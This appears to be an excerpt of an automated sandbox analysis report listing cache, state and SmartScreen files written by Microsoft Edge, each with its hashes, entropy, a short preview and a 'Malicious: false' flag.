C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNlCT:Ls3CT
MD5:	AC2133C49008F890650B39A7F0FFA158
SHA1:	BB3D7B92B7D8B521910AC680EA49080E091E5226
SHA-256:	E1CBAFB8D8B10B5023E99F699D6D571A2B71D159772CEB26360E88157D403047
SHA-512:	CFE90A7F2FAB8E4B8539C44F47A634FF0301A80EB131B1D738A0F26637B552EC67B60C891536F48694AE20EE3D369841628629BCE4D85058015FE960016CAC06
Malicious:	false
Preview:	...........................................o../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.792221890849762
Encrypted:	false
SSDEEP:	96:iaqkHfc4IAmLq5ih/cI9URLl8RotoEMFVvlwhfJe4IbONIeTC6XQS0qGqk+Z4ujW:akU4ILeiRUrhj6qRAq1k8SPxVLZ7VTiq
MD5:	B1C48B839FAFB854D9918EE7DC247065
SHA1:	DA2362982A2F1AC22907CC1E02E5C223B9F6D62A
SHA-256:	A65DD0B9890EE24F50B4AAE55F1CA3137068E50A21B4D709119BBCBB25E78417
SHA-512:	44DA1B395659886031A9499745034993D5E7B51F301C030558191C507FE3B33F1FB176A0C396F6E8AF1B2259718C9AE3127051C38917CEBDC89DA9339402AACD
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAnmHk/diFCRpi+fsoinH/XEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAADBf8I/z5vML/DOLOPkdrTGj43TqAxM4iwhS0j+rXfydAAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF40125.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.792221890849762
Encrypted:	false
SSDEEP:	96:iaqkHfc4IAmLq5ih/cI9URLl8RotoEMFVvlwhfJe4IbONIeTC6XQS0qGqk+Z4ujW:akU4ILeiRUrhj6qRAq1k8SPxVLZ7VTiq
MD5:	B1C48B839FAFB854D9918EE7DC247065
SHA1:	DA2362982A2F1AC22907CC1E02E5C223B9F6D62A
SHA-256:	A65DD0B9890EE24F50B4AAE55F1CA3137068E50A21B4D709119BBCBB25E78417
SHA-512:	44DA1B395659886031A9499745034993D5E7B51F301C030558191C507FE3B33F1FB176A0C396F6E8AF1B2259718C9AE3127051C38917CEBDC89DA9339402AACD
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAnmHk/diFCRpi+fsoinH/XEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAADBf8I/z5vML/DOLOPkdrTGj43TqAxM4iwhS0j+rXfydAAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF40164.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.792221890849762
Encrypted:	false
SSDEEP:	96:iaqkHfc4IAmLq5ih/cI9URLl8RotoEMFVvlwhfJe4IbONIeTC6XQS0qGqk+Z4ujW:akU4ILeiRUrhj6qRAq1k8SPxVLZ7VTiq
MD5:	B1C48B839FAFB854D9918EE7DC247065
SHA1:	DA2362982A2F1AC22907CC1E02E5C223B9F6D62A
SHA-256:	A65DD0B9890EE24F50B4AAE55F1CA3137068E50A21B4D709119BBCBB25E78417
SHA-512:	44DA1B395659886031A9499745034993D5E7B51F301C030558191C507FE3B33F1FB176A0C396F6E8AF1B2259718C9AE3127051C38917CEBDC89DA9339402AACD
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAnmHk/diFCRpi+fsoinH/XEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAADBf8I/z5vML/DOLOPkdrTGj43TqAxM4iwhS0j+rXfydAAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF41f3c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.792221890849762
Encrypted:	false
SSDEEP:	96:iaqkHfc4IAmLq5ih/cI9URLl8RotoEMFVvlwhfJe4IbONIeTC6XQS0qGqk+Z4ujW:akU4ILeiRUrhj6qRAq1k8SPxVLZ7VTiq
MD5:	B1C48B839FAFB854D9918EE7DC247065
SHA1:	DA2362982A2F1AC22907CC1E02E5C223B9F6D62A
SHA-256:	A65DD0B9890EE24F50B4AAE55F1CA3137068E50A21B4D709119BBCBB25E78417
SHA-512:	44DA1B395659886031A9499745034993D5E7B51F301C030558191C507FE3B33F1FB176A0C396F6E8AF1B2259718C9AE3127051C38917CEBDC89DA9339402AACD
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAnmHk/diFCRpi+fsoinH/XEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAADBf8I/z5vML/DOLOPkdrTGj43TqAxM4iwhS0j+rXfydAAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF41f4c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.792221890849762
Encrypted:	false
SSDEEP:	96:iaqkHfc4IAmLq5ih/cI9URLl8RotoEMFVvlwhfJe4IbONIeTC6XQS0qGqk+Z4ujW:akU4ILeiRUrhj6qRAq1k8SPxVLZ7VTiq
MD5:	B1C48B839FAFB854D9918EE7DC247065
SHA1:	DA2362982A2F1AC22907CC1E02E5C223B9F6D62A
SHA-256:	A65DD0B9890EE24F50B4AAE55F1CA3137068E50A21B4D709119BBCBB25E78417
SHA-512:	44DA1B395659886031A9499745034993D5E7B51F301C030558191C507FE3B33F1FB176A0C396F6E8AF1B2259718C9AE3127051C38917CEBDC89DA9339402AACD
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAnmHk/diFCRpi+fsoinH/XEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAADBf8I/z5vML/DOLOPkdrTGj43TqAxM4iwhS0j+rXfydAAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF41f6b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.792221890849762
Encrypted:	false
SSDEEP:	96:iaqkHfc4IAmLq5ih/cI9URLl8RotoEMFVvlwhfJe4IbONIeTC6XQS0qGqk+Z4ujW:akU4ILeiRUrhj6qRAq1k8SPxVLZ7VTiq
MD5:	B1C48B839FAFB854D9918EE7DC247065
SHA1:	DA2362982A2F1AC22907CC1E02E5C223B9F6D62A
SHA-256:	A65DD0B9890EE24F50B4AAE55F1CA3137068E50A21B4D709119BBCBB25E78417
SHA-512:	44DA1B395659886031A9499745034993D5E7B51F301C030558191C507FE3B33F1FB176A0C396F6E8AF1B2259718C9AE3127051C38917CEBDC89DA9339402AACD
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAnmHk/diFCRpi+fsoinH/XEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAADBf8I/z5vML/DOLOPkdrTGj43TqAxM4iwhS0j+rXfydAAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF41f7b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.792221890849762
Encrypted:	false
SSDEEP:	96:iaqkHfc4IAmLq5ih/cI9URLl8RotoEMFVvlwhfJe4IbONIeTC6XQS0qGqk+Z4ujW:akU4ILeiRUrhj6qRAq1k8SPxVLZ7VTiq
MD5:	B1C48B839FAFB854D9918EE7DC247065
SHA1:	DA2362982A2F1AC22907CC1E02E5C223B9F6D62A
SHA-256:	A65DD0B9890EE24F50B4AAE55F1CA3137068E50A21B4D709119BBCBB25E78417
SHA-512:	44DA1B395659886031A9499745034993D5E7B51F301C030558191C507FE3B33F1FB176A0C396F6E8AF1B2259718C9AE3127051C38917CEBDC89DA9339402AACD
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAnmHk/diFCRpi+fsoinH/XEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAADBf8I/z5vML/DOLOPkdrTGj43TqAxM4iwhS0j+rXfydAAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF44022.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.792221890849762
Encrypted:	false
SSDEEP:	96:iaqkHfc4IAmLq5ih/cI9URLl8RotoEMFVvlwhfJe4IbONIeTC6XQS0qGqk+Z4ujW:akU4ILeiRUrhj6qRAq1k8SPxVLZ7VTiq
MD5:	B1C48B839FAFB854D9918EE7DC247065
SHA1:	DA2362982A2F1AC22907CC1E02E5C223B9F6D62A
SHA-256:	A65DD0B9890EE24F50B4AAE55F1CA3137068E50A21B4D709119BBCBB25E78417
SHA-512:	44DA1B395659886031A9499745034993D5E7B51F301C030558191C507FE3B33F1FB176A0C396F6E8AF1B2259718C9AE3127051C38917CEBDC89DA9339402AACD
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAnmHk/diFCRpi+fsoinH/XEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAADBf8I/z5vML/DOLOPkdrTGj43TqAxM4iwhS0j+rXfydAAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF44032.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.792221890849762
Encrypted:	false
SSDEEP:	96:iaqkHfc4IAmLq5ih/cI9URLl8RotoEMFVvlwhfJe4IbONIeTC6XQS0qGqk+Z4ujW:akU4ILeiRUrhj6qRAq1k8SPxVLZ7VTiq
MD5:	B1C48B839FAFB854D9918EE7DC247065
SHA1:	DA2362982A2F1AC22907CC1E02E5C223B9F6D62A
SHA-256:	A65DD0B9890EE24F50B4AAE55F1CA3137068E50A21B4D709119BBCBB25E78417
SHA-512:	44DA1B395659886031A9499745034993D5E7B51F301C030558191C507FE3B33F1FB176A0C396F6E8AF1B2259718C9AE3127051C38917CEBDC89DA9339402AACD
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAnmHk/diFCRpi+fsoinH/XEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAADBf8I/z5vML/DOLOPkdrTGj43TqAxM4iwhS0j+rXfydAAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.46731661083066856
Encrypted:	false
SSDEEP:	12:TL1QAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3is25q0S9K0xHZ75fOV:TLiOUOq0afDdWec9sJf5Q7J5fc
MD5:	E93ACF0820CA08E5A5D2D159729F70E3
SHA1:	2C1A4D4924B9AEC1A796F108607404B000877C5D
SHA-256:	F2267FDA7F45499F7A01186B75CEFB799F8D2BC97E2E9B5068952D477294302C
SHA-512:	3BF36C20E04DCF1C16DC794E272F82F68B0DE43F16B4A9746B63B6D6BBC953B00BD7111CDA7AFE85CEBB2C447145483A382B15E2B0A5B36026C3441635D4E50C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.47693366977411E-4
Encrypted:	false
SSDEEP:	3:LsNl65p/:Ls365R
MD5:	0EF4236D90F231128B6ECD7CC6136C7F
SHA1:	3FB0E3B401C3F1D6BD662AC8DBE5CC5D450FA858
SHA-256:	8511AE962E4A429A347CEC81DD8D7AC4754BE8D48C72EED4687307765F345FA6
SHA-512:	C46259FC0F6510C9294F29D79BD2D5359A0C7E3187BC6D490224CBF508CCF5890C8653B495BE6DEAB975B958C7C78EA944CB88BD804C561CFFF04B348E59AB12
Malicious:	false
Preview:	...........................................o../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSynchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	3.922828737239167
Encrypted:	false
SSDEEP:	3:2NGw+K+:fwZ+
MD5:	7BAAFE811F480ACFCCCEE0D744355C79
SHA1:	24B89AE82313084BB8BBEB9AD98A550F41DF7B27
SHA-256:	D5743766AF0312C7B7728219FC24A03A4FB1C2A54A506F337953FBC2C1B847C7
SHA-512:	70FE1C197AF507CC0D65E99807D245C896A40A4271BA1121F9B621980877B43019E584C48780951FC1AD2A5D7D146FC6EA4678139A5B38F9B6F7A5F1E2E86BA3
Malicious:	false
Preview:	customSynchronousLookupUris_0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSynchronousLookupUris_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	35302
Entropy (8bit):	7.99333285466604
Encrypted:	true
SSDEEP:	768:rRhaFePY38QBsj61g3g01LXoDGPpgb8KbMcnjrQCckBuJyqk3x8cBBT:rLP+TBK6ZQLXSsaMcnHQQcox80
MD5:	0E06E28C3536360DE3486B1A9E5195E8
SHA1:	EB768267F34EC16A6CCD1966DCA4C3C2870268AB
SHA-256:	F2658B1C913A96E75B45E6ADB464C8D796B34AC43BAF1635AA32E16D1752971C
SHA-512:	45F1E909599E2F63372867BC359CF72FD846619DFEB5359E52D5700E0B1BCFFE5FF07606511A3BFFDDD933A0507195439457E4E29A49EB6451F26186B7240041
Malicious:	false
